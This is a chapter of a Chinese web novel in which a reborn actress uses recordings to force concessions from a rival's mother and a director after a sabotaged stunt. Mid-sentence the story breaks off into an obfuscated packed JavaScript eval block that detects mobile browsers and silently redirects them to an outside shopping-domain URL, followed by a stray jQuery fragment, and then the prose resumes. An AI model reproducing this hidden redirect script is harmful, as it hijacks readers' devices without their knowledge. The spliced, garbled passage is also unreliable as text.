果然如顾妍推测的一样，是李明依授意小新联系道具师张平做了手脚。只是想让顾妍受伤退出拍摄，并不是真要她的命。
“顾老师，我没有办法了，我妈妈生了重病，我只有妈妈了。”小新哭得上气不接下气，她说着甚至要跪下来，顾妍拉住她没让她真的跪下。
“不用和我说这些，你至少还有妈妈，承诺你的一分都不会少。回去吧，别让李明依发现了。”
等小新走了，顾妍叫上两个助理直接打车回剧组。
“不和韩导说一声吗？”
“不用，她不会站在我这边，现在去找张平，在剧组发现他之前要先拿到他那边的证据。”
他们敢做，无非是吃定了顾妍没后台，公司也只是个小工作室，《空间之门》这么大的项目不可能为了她报警彻查而影响整个剧组的运转。所以在剧组封口之前，她得自己撕开这个口子。
顾妍回到剧组旁边的酒店，先问了林珍这边的进度，得到否定答复后让她帮忙约了张平见面。
张平来的时候，脸色就已经很难看了。
顾妍坐在沙发上，手机播放录音。
“找的道具组张平老师，怕查流水给的现金，定金十万，一个月后结剩下的九十万。”
顾妍按了暂停键，面无表情道：“张老师，冤有头债有主，我也不想闹大，只是想拿到证据让真正要害我的人受到惩罚。你做这种事，得了十万免了牢狱还是划算的吧？”
张平也是在圈内摸爬滚打很多年的老油条，见事情败露毫不犹豫就滑跪了。
等送走他，林珍关上门，走过来坐下。
“现在打算怎么办？”
顾妍拿着手机保存录音，满不在乎道：“等。”
“等？”
“咱们请张平过来没避着人，该知道的都知道了，现在就要等李明依来谈条件了。”
林珍看着她，严肃道：“我想问问你真实的打算。”
顾妍回视她：“我当然想公布这些录音，让她身败名裂人人喊打。”
“小妍，我理解你的想法，但我们也要结合事实，现在的结果是你伤得并不重，就算公布录音能造成的影响也有限，我认为能利用这件事拿到最多的补偿更好一些。”
伤得不重吗？
顾妍闭上眼，前世的灵魂流下血泪。
上辈子她被泼硫酸毁容而死，这辈子被影迷的饮料泼到都能瞬间想起那烧毁灵魂的灼痛，这叫伤得不重吗？
她一再忍让李明依，只是因为不确定泼硫酸是极端粉丝个人所为还是有她授意，现在，她确定了，她还是把人心想得太善良。
她睁开眼：“重要的不是我伤得重不重，而是她要我受伤。姐，王晨的事你是知道的，我之前愿意忍着李明依，只是没抓到可以按死她的把柄。”
林珍没说话，走过来坐在她旁边，轻轻拍拍她的背，柔声道：“小妍，我了解你，你绝不是因为感情问题就要算计别人的人。我也不是想让你忍气吞声，姐只是心疼你，你能走到今天每一步都不容易，为了别人的错误毁了自己的前程，不值得。”
顾妍闭着眼睛，在旁人看来当然不值得，但她重来一世，如果还不能反击，那她此生毫无意义。
“姐，我不在乎。我本来就一无所有，该害怕的是她才对。”
……
李明依那边动作还是快，顾妍下午找的张平，晚上韩导和李明依的妈妈就来找她了。
顾妍心情很好，还让陈敏给两人准备了咖啡。
“小顾，”韩导表情不太自在，镜片后总是神采奕奕的眼睛都有些暗淡，“事情我们已经听张平说了，明依伤得重不太方便，所以我把她的妈妈请过来，你可以和我们说说你的诉求。”
李明依的妈妈对着顾妍轻轻颔首，说话嗓音很柔和：“顾老师，实在抱歉，依依不懂事给你添了麻烦。还好你伤得不重，她自己也尝到了恶果，没酿成大祸，我在这里替依依给你道个歉。”
说着，她转了转手上成色极好的翡翠手镯，微笑道：“顾老师有什么要求尽管提，全当是我们的赔礼。”
顾妍靠在沙发椅背上，没有直起身的意思：“不好意思，今天摔得太重，靠着会舒服一些。”
对面两人表示没关系，顾妍才继续：“李太太，您和我道歉，我接受了，毕竟您确实没有教好女儿，作为母亲很失职，道歉是应该的。其次，不是我要提要求，是你们应该拿出道歉的诚意来。我愿意等你们来谈，而不是直接报警或者召开记者招待会公布证据，已经是诚意满满了。”
李太太嘴角压平，脸色冷了下来，显然她习惯了被人捧着，顾妍一个小辈这么给她脸色看让她面子上有点挂不住。但毕竟自家理亏，她忍下脾气笑着商量：“这样，我们家依依伤得比较重，需要时间休养，这部剧就不参演了。我在竹山别墅区有一套刚装修好的新房，就送给顾老师当见面礼，你看怎么样？”
顾妍看着她，嘴角勾起，脸上的酒窝现在盛满了讽刺：“李太太喜欢拐弯抹角，那我就直说了。我要李明依公开向我道歉并公开宣布退出娱乐圈。”
“你这是什么意思？”
“字面意思。”
韩导出来当和事佬：“小顾，这确实是有点难为人了，虽说是明依有错在先，但是你摔倒扑在她身上，她伤得比你还重呢。”
“那是她自作孽，她不安排这场谋杀，我们都没事，还在和和气气拍戏呢。”顾妍不接她扣的锅，对着韩导假笑。
韩导伸手推了推眼镜掩饰尴尬，重新和她商量：“小顾，你也知道，这部剧牵扯很广，事情闹大了对你以后的发展也没有好处。我比明依妈妈了解圈子一些，再加一样，明依正在接触的下一个本子我算是能说上话，就做主给你了。”
“谢谢韩导的好意，”顾妍端起咖啡喝了一口，像是享受下午茶时和长辈聊天一样轻松，“李明依敢在剧组串通道具组工作人员谋杀同剧女演员，剧组本来也不会再用她了吧？我工作这么多年，竹山别墅区的房子买不起，倒也不缺房子住；同理，我也不缺好剧本。”
她放下咖啡杯，寸步不让：“我就是要她公开道歉主动宣布退出娱乐圈。这是我看在韩导的面子上做出的妥协，否则我会报警并公开已经掌握的全部证据，以我现在的人气，你们压不住消息。到时候不仅空间之门这部剧要受影响，李明依也只能背上杀人未遂的骂名灰溜溜退圈吧，我已经给足了她体面。”
“你以为你是谁？”李太太终于失去耐心，她冷笑，“你大可以现在就报警，今天这件事能在网上传播一丁点儿，算你赢。”
韩导欲言又止，看看顾妍又看看李太太，最终选择沉默。
顾妍看着对面的中年女人，双手不自觉握紧，左手伤口传来锥心的疼痛，勉强唤醒她的理智，让她忍住了一拳打在对方脸上的冲动。
她挑眉，眼神带点儿戏谑：“李太太，我在外网粉丝也挺多的，而且托您的宝贝女儿总是买水军冲我的福，外网的水军公司我也认识一些。今天下午就商量好了，尾款到了这些证据就会出现在外网每一个角落，冻结我名下资产、限制我任何平台的发言都没用，我的联络人在约好的时间没收到消息就会自动汇款。”
“你！”
“我一个小明星，敢和您提要求，当然是做足了准备，不就是鱼死网破吗？我奉陪。”她看着李太太那张因愤怒扭曲的脸，心里一点儿没有痛打仇敌的快意，只觉得酸楚。
“顾妍，”李太太第一次叫她的名字，“你想好了，就算这些所谓的证据被公开，我们家依依最多受不好的舆论影响，而你只会彻底消失在娱乐圈，我说到做到。到时候你彻底糊了，舆论还不是我们说了算？”
“李太太知道被千人指万人骂的滋味吗？就算不知道，你舍得你的宝贝女儿尝尝这个滋味吗？”顾妍直勾勾地看着她，眼眶已经红了，“她做了错事，我想要一个道歉，不可以吗？”
李太太原本还想说什么，看着面前这张和女儿有几分像的脸，想说的话突然哽住了。她长叹一口气：“所以我才来和你道歉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311138|149184||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，商量给你补偿，咱们各退一步，我也会回去好好教育依依。”
顾妍看着李明依的妈妈，事情发生到现在，李明依作为当事人，甚至从头到尾没出现过。
她点头，说：“好，她可以不退圈，但必须公开向我道歉。”
“你不要得理不饶人！”李太太刚才有些软化的态度立刻强硬起来，在她看来让李明依公开和顾妍道歉和这件事直接被公开没有区别，顾妍要求道歉就是给脸不要脸。
顾妍正要回击，门口传来的声音却打断了她。
“小妍有理李太太还觉得她不饶人，怎么你自己无理还在闹呢？”
男人的声音清冽低沉，似乎带着笑，但和他平时温柔的声线完全不同，只有熟悉他的人才能听出来其中压抑的怒意。
纪千泽拉开门走进来，一身笔挺的灰色西装，戴着银边眼镜，头发明显喷了发胶，只是不知道为什么有些散乱了。他大步走近，在顾妍身边坐了下来。
李太太看着他，嚣张的气焰消减不少：“纪先生是要插手这件事吗？”
“李太太误会了，我只是路过来凑个热闹。”纪千泽不紧不慢道，他甚至有闲心让陈敏也为他来一杯咖啡。
接着转过头看向顾妍：“我看你们谈这么久谈不拢，不如还是报警请专业的人来调解？剧组安全问题是大事，何况还涉及谋杀案件，性质很恶劣啊。”
“纪先生言重了，小孩子不懂事而已。”李太太讪讪笑着，不自在地抚摸翡翠手镯。
“李明依25岁还是小孩子，设计害人不懂事；难道您快六十了还是老孩子，也打算不懂事？”
“呵呵。”顾妍第一次发现纪千泽还挺有幽默细胞，她笑出声来，看着李太太吃瘪的样子，心中酸楚尽消，只觉得可笑。
讨价还价差不多了，她决定告知自己能接受的影响最小的处理方式：“李太太，看在你是一个为了孩子求情的母亲的份上，我最后退一步。这场事故剧组这么多人都是亲眼所见，真相如何大家心知肚明，我要求李明依当着剧组所有人的面向我公开道歉，至于会不会传出去，是你们该考虑的问题。”
“其次，李明依可以不退圈，但是必须退出空间之门的拍摄，并且在我主演的空间之门播出前她不能进下一个组。在谈的下一部戏给我，各种待遇必须最高；最后，她现在身上的7个代言，两个高奢品牌给我，5个普通品牌马上停止合作，同样空间之门播出前她不能有任何商务代言。简单来说，由我主演的空间之门播出前，她要退圈，播出后我管不着。”
李太太瞪着她，牙都要咬碎了。
顾妍两辈子都是在冷眼中成长，瞪她不会对她造成任何伤害。她平静回视对方，这是她能接受的底线，至于李明依能不能接受另说。
就像李太太说的，顾妍公布这件事的内幕，李明依会受影响淡出娱乐圈一阵子，但顾妍也会被他们联合封杀。几年后黑的洗成白的，李明依又可以继续招摇，只是有个不痛不痒的黑点，顾妍却要在娱乐圈查无此人了。
但是她不怕被封杀，李明依却怕被全网黑啊。
顾妍能利用这件事让她退出拍摄并且保证自己在《空间之门》剧组的权益以及保证剧集能顺利上线，再把李明依到嘴的肥肉抢过来，已经吃进肚子里的商务也挖出来，很划算了。
李太太沉默良久，才说：“你也知道我是一个母亲，为了孩子我什么都愿意做……”
“那您替她公开向我道歉吧，顺便检讨一下你作为母亲对孩子教育的失职，我不介意的。”顾妍看着她，漂亮的杏眼中尽是讥讽。
“你——”
“咖啡不错。”纪千泽接过陈敏递过来的咖啡抿了一口，淡淡道，“李太太，您觉得呢？”
气氛僵持不下，李太太怎么也拉不下脸来，最后是韩导出来打圆场：“明依也确实要好好休息一段时间，这样吧，明天晚上我组一个局，剧组的人都去聚餐放松一下，把明依也叫过来怎么样？”
顾妍笑着看向李太太：“好啊，我等着。”